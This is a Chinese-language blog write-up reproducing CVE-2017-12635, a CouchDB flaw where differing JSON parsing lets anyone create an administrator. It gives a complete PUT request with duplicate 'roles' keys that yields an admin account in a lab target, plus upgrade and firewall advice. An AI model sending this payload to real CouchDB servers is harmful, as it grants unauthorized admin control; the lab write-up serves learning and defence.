当前位置:网站首页>CVE-2017-12635 Couchdb 垂直权限绕过漏洞复现
CVE-2017-12635 Couchdb 垂直权限绕过漏洞复现
2022-07-17 05:03:00 【wavesky111】
一、漏洞概述
Apache CouchDB是一个开源的NoSQL数据库,专注于易用性和成为“完全拥抱web的数据库”。它是一个使用JSON作为数据存储格式,javascript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。
二、影响版本
- 小于 1.7.0 以及小于 2.1.1
三、漏洞原理
1.Erlang和JavaScript,对JSON解析方式的不同,导致语句执行产生差异性。这个漏洞可以让任意用户创建管理员,属于垂直权限绕过漏洞。——https://www.anquanke.com/post/id/87256
2.那就意味着JavaScript在检测时,检测我们创建的用户“角色=0”。无角色,也就不存在权限,所以没有危害,系统判定为安全,绕过了检测。接下来在CouchDB的Erlang部分实现身份验证和授权时,jiffy实现的时候,getter函数只返回第一个值也就是"roles": ["_admin"],所以创建出了具有admin权限的账户。——https://blog.csdn.net/qq_45813980/article/details/118654097
3.扩展:PUT请求
四、漏洞复现环境
Kali Linux + Vulfocus
渗透机:Kali Linux
靶机:Vulfocus
五、实验步骤
1.开启镜像环境,访问页面



2.构造PUT包,自己设置一个管理员账号登录
1 PUT /_users/org.couchdb.user:wavesky HTTP/1.1
2 Host: 192.168.117.131:27483/
3 Accept: /
4 Accept-Language: en
5 User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
6 Connection: close
7 Content-Type: application/json
8 Content-Length: 101
9
10 {
11 "type": "user",
12 "name": "wavesky",
13 "roles": ["_admin"],
14 "roles":[],
15 "password": "wavesky"
16 }
3.访问http://192.168.117.131:27483/_utils,可以看到_user多了一个刚定义的拥有管理员权限的用户


六、修复建议
1.公网Apache CouchDB实例
建议升级到最新版本。 使用ECS安全组或防火墙策略,限制CouchDB端口暴露在互联网,设置精细化网络访问控制。 开启认证功能,不要使用默认账号口令,配置自定义账号和强口令,防止暴力破解攻击事件。
2.内网Apache CouchDB实例
使用ECS安全组或防火墙策略,限制CouchDB端口暴露在互联网,设置精细化网络访问控制。 开启认证功能,不要使用默认账号口令,配置自定义账号和强口令,防止暴力破解攻击事件。
——https://huskypower.blog.csdn.net/article/details/120880072?spm=1001.2101.3001.6650.1&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-120880072-blog-121767180.pc_relevant_paycolumn_v3&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-120880072-blog-121767180.pc_relevant_paycolumn_v3&utm_relevant_index=2
3.加入dedupe_keys字段用于对重复键的标识,重写make_object方法,使得jiffy解析JSON的方法和JavaScript一致。——https://www.anquanke.com/post/id/87256
边栏推荐
猜你喜欢

ThinkPHP official website tutorial

数据库取配置文件字段,然后进行数据处理和判断

Simple UI funny text conversion Emoji expression wechat applet supports sentence word conversion_ Source code

Notes on Advanced Mathematics: selected exercises of Wu Yue

DirectExchange交换机的简单使用。

FanoutExchange交换机简单使用
![Money making master applet [latest version 5.9.9] mall / instant withdrawal of commission / distribution promotion / phone recharge / is meituan hungry for takeout](/img/8b/29027c2dee4ef764bb2e4b5b499a23.jpg)
Money making master applet [latest version 5.9.9] mall / instant withdrawal of commission / distribution promotion / phone recharge / is meituan hungry for takeout

Tasking new aurix tc37x demo project
![[FPGA tutorial case 27] realize dual port RAM ping-pong structure through Verilog](/img/64/211c5a6d6e0a8701136fa969d6d9e4.png)
[FPGA tutorial case 27] realize dual port RAM ping-pong structure through Verilog

Emqx pressure test tread pit for your reference
随机推荐
Using circular statements to make login programs
脱敏字段举例
[vuforia] simple logic of image recognition
mysql8.026-- 视图(下)
Es document operation
[论文精读]BERT
【FPGA教程案例26】在FPGA中通过verilog来实现小数的基础运算
shardingsphere内核原理
Multiple connections will be maintained for each provider instance
加密和解密
DSL搜索结果处理,包括排序,分页,高亮
网址在线封装APK系统源码
中台的订单系统
接口的参数返回封装类Result
根据日期重新排列数据js
知识图谱de构建与应用(五):知识推理
Declaration and definition of template class
TiDB 性能优化概述
.sh脚本编写
mysql主从架构和读写分离、以及高可用架构